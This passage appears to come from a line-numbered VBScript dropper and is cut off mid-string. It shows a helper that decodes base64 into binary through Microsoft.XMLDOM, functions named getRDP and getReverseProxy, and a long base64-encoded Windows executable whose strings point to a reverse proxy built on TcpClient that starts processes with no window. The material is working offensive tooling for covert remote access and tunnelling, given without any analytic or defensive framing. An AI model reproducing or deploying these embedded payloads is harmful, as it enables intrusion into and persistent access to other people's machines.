AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  926.     set spike = (CreateObject("Microsoft.XMLDOM")).createElement("tmp")
  927.     spike.dataType = "bin.base64"
  928.     spike.text = encoded
  929.     getRDP = spike.NodeTypedValue
  930. end function
  931.  
  932. function getReverseProxy()
  933.     encoded = "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AQCMAAq6ADeWAAAAAgCMAGXxABcAAAABEzACAB8AAAAHAAARAAP+FgIAABtvIgAACgADEgD+FQIAABsGgQIAABsAKgAqAAIoIwAACgAAKgATMAIAEgAAAAgAABEAAgMoJAAACiglAAAKCisABioAABMwAQAMAAAACQAAEQACKCYAAAoKKwAGKhMwAQAQAAAACgAAEQDQBQAAAigVAAAKCisABioTMAEADAAAAAsAABEAAignAAAKCisABioTMAIAEgAAAAwAABEAAgMoJAAACiglAAAKCisABioAABMwAQAMAAAADQAAEQACKCYAAAoKKwAGKhMwAQAQAAAADgAAEQDQBgAAAigVAAAKCisABioTMAEADAAAAA8AABEAAignAAAKCisABioTMAIAIAAAABAAABEAAowDAAAbFP4BCwcsCigBAAArCisIKwUAAgorAQAGKhMwAgASAAAAEQAAEQADEgD+FQQAABsGgQQAABsAKgAAKgACKCMAAAoAACoAEzACACYAAAASAAARAH4qAAAKjAUAABsU/gELBywKKAIAACuAKgAACn4qAAAKCisABioAACoAAigjAAAKAAAqACIXgAgAAAQAKgAAABswBACHAAAAEwAAEQACjrcZ/gQTBBEELAMAK3UAAoAJAAAEAAIWmgIXmigtAAAKcy4AAAoKBm8vAAAKCygwAAAKcnEAAHACGJpygQAAcCgxAAAKbzIAAAoMBwgWCI63bzMAAAoAB280AAAKAAYU/gYbAAAGcxwAAAYoJwAABgDeDyUoHAAACg0AKCAAAAreAAAAKgABEAAAAAAYAF11AA8gAAABGzAEAH0AAAAUAAARAAB+CQAABBaafgkAAAQXmigtAAAKcy4AAAoKBm8vAAAKCygwAAAKcnEAAHB+CQAABBiacoEAAHAoMQAACm8yAAAKDAcIFgiOt28zAAAKAAdvNAAACgAGFP4GGwAABnMcAAAGKCcAAAYA3g8lKBwAAAoNACggAAAK3gAAACoAAAABEAAAAAACAGlrAA8gAAABEzACADsAAAAVAAARAH4KAAAEFCg2AAAKDAgsIHKLAABw0AoAAAIoFQAACm83AAAKczgAAAoLB4AKAAAEAH4KAAAECisABioAEzABAAsAAAAWAAARAH4LAAAECisABioAJgACgAsAAAQAKgAAWnMkAAAGKDkAAAp0CwAAAoAMAAAEACoAJgIoOgAACgAAKgAAEzABAAsAAAAXAAARAH4MAAAECisABioAEzABAAsAAAAYAAARACglAAAGCisABioAEzACACMAAAAZAAARAAOADQAABBT+Bi4AAAZzPAAACnM9AAAKCgYCbz4AAAoAACoAGzAEAOsCAAAaAAARAAACby8AAAoL3iUlKBwAAAoMAH4NAAAEbx8AAAYAACggAAAK3cACAAAoIAAACt4AAAcoLQAABgoGcrkAAHAWKD8AAAoW/gETGBEYLBgCb0AAAAoAfg0AAARvHwAABgAAOIQCAAAAfg0AAARvHwAABgAGKCkAAAZyuwAAcBYoPwAAChb+ARMYERg5jAAAAAYoLAAABg0ACRaaCReaKC0AAApzLgAAChMEcssAAHATBSgwAAAKEQVvMgAAChMGBxEGFhEGjrdvMwAACgAHbzQAAAoAcy8AAAYTBxEHAgcRBG8wAAAGAN4tJSgcAAAKEwgAfg0AAARvHwAABgACb0AAAAoAACggAAAK3dwBAAAoIAAACt4AADjOAQAABigpAAAGcksBAHAWKD8AAAoW/gETGBEYLGQWgAgAAARyVQEAcChBAAAKKEIAAAooQwAAChMJcncBAHByfwEAcBEJKEMAAApzRAAAChMLEQsWb0UAAAoAEQsXb0YAAAoAc0cAAAoTChEKEQtvSAAACgARCm9JAAAKJjhQAQAAAAYoLAAABhMMBigrAAAGEw0AEQwWmhEMF5ooLQAACnMuAAAKEw8RD28vAAAKExIoMAAAChENbzIAAAoTEBESERAWERCOt28zAAAKAAYoKQAABnKHAQBwFig/AAAKFv4BExgRGCxTBigqAAAGExQWahMWIAEgAACNNAAAARMTKy0HERMWEROOt29KAAAKExUREhETFhEVbzMAAAoAERJvNAAACgARFhEVatYTFgARFhEU/gQTGBEYLccAIAFgAACNNAAAARMOK1EREhEOFhEOjrdvSgAAChMREREW/gETGBEYLCEREm9LAAAKAAJvQAAACgAHb0sAAAoAEQ9vQAAACgAAKyAABxEOFhERbzMAAAoAB280AAAKAAB+CAAABBMYERgtpN4pJSgcAAAKExcAAm9AAAAKAAdvSwAACgB+DQAABG8fAAAGACggAAAK3gAAAAAqAEFMAAAAAAAAAgAAAAkAAAALAAAA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3AmWA1kAWAGcA1kB9gn7A2kAWAETAGEBWAETAHEBWAG8AGkBWAF5BGkBYAo5AokBiQqGBHEAlwoTAJEBnQqNBJkBvwoSAdkAlAmRBIEBWAFJAYEBywpBA4EB3wpBA3kBWAETAHkB8gqXBHkBYAoBAnkABQueBKkBlwoTANkAEQvXBNkAGQvcBNkAIwuaANkAKwviBNkAGQvnBDkBNAsXAdkAQAvyBNkAlAn5BNkARgv/BNkATgviBLkBWAETAEEBZwsiBbkBcQsqBbkBHAOaANkAeAviBMEBWAG8AGkBWAE/BWkBYAoTAMkBWAFZBdkBWAFgBeEBWAETAOkBWAGoAfEBWAGoAfkBWAGoAQECWAGoAQkCWAGoARECWAGoARkCWAGoASECWAGoASAAIwBnASkAmwCtAS4AOwP9BS4AMwPwBS4AAwN3BS4ACwOWBS4AKwPlBS4A8wJlBS4A+wJuBS4AQwPlBS4AEwOjBS4AWwFGAy4AGwNGAy4AIwPNBUAAMwBnAUAAEwBAAUMAEwBAAUMAGwBPAUkAmwDtAWAAIwBnAWMAEwBAAWMAGwBPAWkAmwDMAYAAMwBnAYMAiwBnAYMAkwBnAYMAGwBPAYkAmwC+AaAAMwBnAaMAQwFuAqMAEwBAAakAmwDZAcAAMwBnAcEASwFnAcMAEwBAAcMAQwHNAuAAMwBnAeEAYwFnAeEASwFnAeMAEwBAAeMAWwFGA+kAEwDyAwABMwBnAQMBiwBnAQkBEwDyAyABMwBnAUABMwBnAUMBGwCxA0MBYwFnAUMBiwBnAUMBIwBnAUMBkwBnAUkBmwBjBGABEwBAAWABMwBnAWMBGwAJBGMBEwDyA2MBYwFnAYABEwBAAYMBkwBnAYMBiwBnAYMBYwFnAYMBIwBnAaABEwBAAaMBiwBnAcABEwBAAeABEwBAAQACMwBnAQACEwBAASACMwBnASACEwBAAUACEwBAAUACMwBnAWACEwBAAWACMwBnAYACMwBnAaACMwBnAcACMwBnAcACEwBAAeACMwBnAQADEwBAAQADMwBnAUADqwFnAYAEIwBnAcAF2wFnAcAFYwFnAeAFIwBnAY8BlAGZAZ4BowE+AksCVQJZAl0CYgJVAlkCXQJiAscCSwI7A3cDhAOkA6wDBAQEBIAEpgRiAuwEBQUSBTEFRgVPBU8FBAABAAcABgAKAAcACwAJAAwACgAAAHwBXAAAAFcCYQAAAOQBZgAAAGMCawAAAGkCcAAAAEkDqgAAAC4E6AAAAK0E7QAAAP4E+wAAABMF+wACAAQAAwACAAUABQACAAYABwACAAcACQACAAgACwACABcADQACACAADwABACIAEQACACEAEQACACUAEwACACYAFQB1AHUAdQB1AJ4AbAFzAXoBgQGIAS8DBIAAAAEAAAAAAAAAAAAAAAAAlQAAAAIAAAAAAAAAAAAAAAEACgAAAAAACAAAAAAAAAAAAAAACgATAAAAAAACAAAAAAAAAAAAAAABAIgCAAAAAAIAAAAAAAAAAAAAAAEAhQEAAAAAAAAAAAEAAACNCwAABQAEAAYABAAHAAQACQAIAAAAEAAOAKICAAAQABMAogIAAAAAFQCiAgAAEAApAKICAAAAACsAogI3AB8CNwA2AwIAFQADABUAAAAAPE1vZHVsZT4AbXNjb3JsaWIATWljcm9zb2Z0LlZpc3VhbEJhc2ljAE15QXBwbGljYXRpb24AUmV2ZXJzZVByb3h5Lk15AE15Q29tcHV0ZXIATXlQcm9qZWN0AE15Rm9ybXMATXlXZWJTZXJ2aWNlcwBUaHJlYWRTYWZlT2JqZWN0UHJvdmlkZXJgMQBNb2R1bGUxAFJldmVyc2VQcm94eQBOb3RpZnlCcmluZ05ld1NvY2tldABSZXNvdXJjZXMAUmV2ZXJzZVByb3h5Lk15LlJlc291cmNlcwBNeVNldHRpbmdzAE15U2V0dGluZ3NQcm9wZXJ0eQBQcm9jZXNzVGNwQ2xpZW50AFNTTFJlYWRXcml0ZQBNaWNyb3NvZnQuVmlzdWFsQmFzaWMuQXBwbGljYXRpb25TZXJ2aWNlcwBDb25zb2xlQXBwbGljYXRpb25CYXNlAC5jdG9yAE1pY3Jvc29mdC5WaXN1YWxCYXNpYy5EZXZpY2VzAENvbXB1dGVyAFN5c3RlbQBPYmplY3QALmNjdG9yAGdldF9Db21wdXRlcgBtX0NvbXB1dGVyT2JqZWN0UHJvdmlkZXIAZ2V0X0FwcGxpY2F0aW9uAG1fQXBwT2JqZWN0UHJvdmlkZXIAVXNlcgBnZXRfVXNlcgBtX1VzZXJPYmplY3RQcm92aWRlcgBnZXRfRm9ybXMAbV9NeUZvcm1zT2JqZWN0UHJvdmlkZXIAZ2V0X1dlYlNlcnZpY2VzAG1fTXlXZWJTZXJ2aWNlc09iamVjdFByb3ZpZGVyAEFwcGxpY2F0aW9uAEZvcm1zAFdlYlNlcnZpY2VzAENyZWF0ZV9fSW5zdGFuY2VfXwBTeXN0ZW0uV2luZG93cy5Gb3JtcwBGb3JtAFQASW5zdGFuY2UARGlzcG9zZV9fSW5zdGFuY2VfXwBpbnN0YW5jZQBTeXN0ZW0uQ29sbGVjdGlvbnMASGFzaHRhYmxlAG1fRm9ybUJlaW5nQ3JlYXRlZABFcXVhbHMAbwBHZXRIYXNoQ29kZQBUeXBlAEdldFR5cGUAVG9TdHJpbmcAZ2V0X0dldEluc3RhbmNlAG1fVGhyZWFkU3RhdGljVmFsdWUAR2V0SW5zdGFuY2UASVNfUlVOTklORwBhcmdzAE1haW4AT25Ob3RpZnlCcmluZ05ld1NvY2tldABNdWx0aWNhc3REZWxlZ2F0ZQBUYXJnZXRPYmplY3QAVGFyZ2V0TWV0aG9kAElBc3luY1Jlc3VsdABBc3luY0NhbGxiYWNrAEJlZ2luSW52b2tlAERlbGVnYXRlQ2FsbGJhY2sARGVsZWdhdGVBc3luY1N0YXRlAEVuZEludm9rZQBEZWxlZ2F0ZUFzeW5jUmVzdWx0AEludm9rZQBTeXN0ZW0uUmVzb3VyY2VzAFJlc291cmNlTWFuYWdlcgByZXNvdXJjZU1hbgBTeXN0ZW0uR2xvYmFsaXphdGlvbgBDdWx0dXJlSW5mbwByZXNvdXJjZUN1bHR1cmUAZ2V0X1Jlc291cmNlTWFuYWdlcgBnZXRfQ3VsdHVyZQBzZXRfQ3VsdHVyZQBWYWx1ZQBDdWx0dXJlAFN5c3RlbS5Db25maWd1cmF0aW9uAEFwcGxpY2F0aW9uU2V0dGluZ3NCYXNlAGRlZmF1bHRJbnN0YW5jZQBnZXRfRGVmYXVsdABEZWZhdWx0AGdldF9TZXR0aW5ncwBTZXR0aW5ncwBub3RpZnkAU3lzdGVtLk5ldC5Tb2NrZXRzAFRjcENsaWVudABTdGFydENsaWVudFRocmVhZABjbGllbnQAQ2xpZW50VGhyZWFkAEdldFJlcXVlc3RNZXRob2QAaGRyAEdldENvbnRlbnRMZW5ndGgAVHVybkhlYWRlclRvTmF0aXZlAEdldEhvc3RQb3J0AE5ldHdvcmtTdHJlYW0AUmVhZEhlYWRlcgBzdHJlbQBzZXJ2ZXIAY2xpZW50X3N0cgBzZXJ2ZXJfc3RyAFN0YXJ0U1NMUmVhZFdyaXRlVGhyZWFkAENsaWVudDJTZXJ2ZXIAU2VydmVyMkNsaWVudABTeXN0ZW0uQ29tcG9uZW50TW9kZWwARWRpdG9yQnJvd3NhYmxlQXR0cmlidXRlAEVkaXRvckJyb3dzYWJsZVN0YXRlAFN5c3RlbS5Db2RlRG9tLkNvbXBpbGVyAEdlbmVyYXRlZENvZGVBdHRyaWJ1dGUAU3lzdGVtLkRpYWdub3N0aWNzAERlYnVnZ2VyTm9uVXNlckNvZGVBdHRyaWJ1dGUARGVidWdnZXJIaWRkZW5BdHRyaWJ1dGUATWljcm9zb2Z0LlZpc3VhbEJhc2ljLkNvbXBpbGVyU2VydmljZXMAU3RhbmRhcmRNb2R1bGVBdHRyaWJ1dGUASGlkZU1vZHVsZU5hbWVBdHRyaWJ1dGUAU3lzdGVtLkNvbXBvbmVudE1vZGVsLkRlc2lnbgBIZWxwS2V5d29yZEF0dHJpYnV0ZQBTeXN0ZW0uUmVmbGVjdGlvbgBUYXJnZXRJbnZvY2F0aW9uRXhjZXB0aW9uAENvbnRyb2wAZ2V0X0lzRGlzcG9zZWQAUnVudGltZVR5cGVIYW5kbGUAR2V0VHlwZUZyb21IYW5kbGUAQ29udGFpbnNLZXkAU3RyaW5nAFV0aWxzAEdldFJlc291cmNlU3RyaW5nAEludmFsaWRPcGVyYXRpb25FeGNlcHRpb24AQWRkAEFjdGl2YXRvcgBDcmVhdGVJbnN0YW5jZQBQcm9qZWN0RGF0YQBFeGNlcHRpb24AU2V0UHJvamVjdEVycm9yAGdldF9Jbm5lckV4Y2VwdGlvbgBnZXRfTWVzc2FnZQBDbGVhclByb2plY3RFcnJvcgBSZW1vdmUAQ29tcG9uZW50AERpc3Bvc2UAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBSdW50aW1lSGVscGVycwBHZXRPYmplY3RWYWx1ZQBNeUdyb3VwQ29sbGVjdGlvbkF0dHJpYnV0ZQBUaHJlYWRTdGF0aWNBdHRyaWJ1dGUAU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzAENvbVZpc2libGVBdHRyaWJ1dGUAQ29tcGlsZXJHZW5lcmF0ZWRBdHRyaWJ1dGUAQ29udmVyc2lvbnMAVG9JbnRlZ2VyAEdldFN0cmVhbQBTeXN0ZW0uVGV4dABFbmNvZGluZwBnZXRfQVNDSUkAQ29uY2F0AEdldEJ5dGVzAFdyaXRlAEZsdXNoAFNUQVRocmVhZEF0dHJpYnV0ZQBSZWZlcmVuY2VFcXVhbHMAQXNzZW1ibHkAZ2V0X0Fzc2VtYmx5AFNldHRpbmdzQmFzZQBTeW5jaHJvbml6ZWQAX0xhbWJkYSRfXzEAYTAARGVidWdnZXJTdGVwVGhyb3VnaEF0dHJpYnV0ZQBTeXN0ZW0uVGhyZWFkaW5nAFRocmVhZABQYXJhbWV0ZXJpemVkVGhyZWFkU3RhcnQAU3RhcnQAUHJvY2VzcwBQcm9jZXNzU3RhcnRJbmZvAE9wZXJhdG9ycwBDb21wYXJlU3RyaW5nAENsb3NlAGdldF9FeGVjdXRhYmxlUGF0aABTeXN0ZW0uSU8AUGF0aABHZXRGaWxlTmFtZQBzZXRfVXNlU2hlbGxFeGVjdXRlAHNldF9DcmVhdGVOb1dpbmRvdwBzZXRfU3RhcnRJbmZvAEJ5dGUAUmVhZABTdHJlYW0ASW5kZXhPZgBTdWJzdHJpbmcAVG9Mb3dlcgBDb250YWlucwBUb0xvbmcAQ2hhcgBTcGxp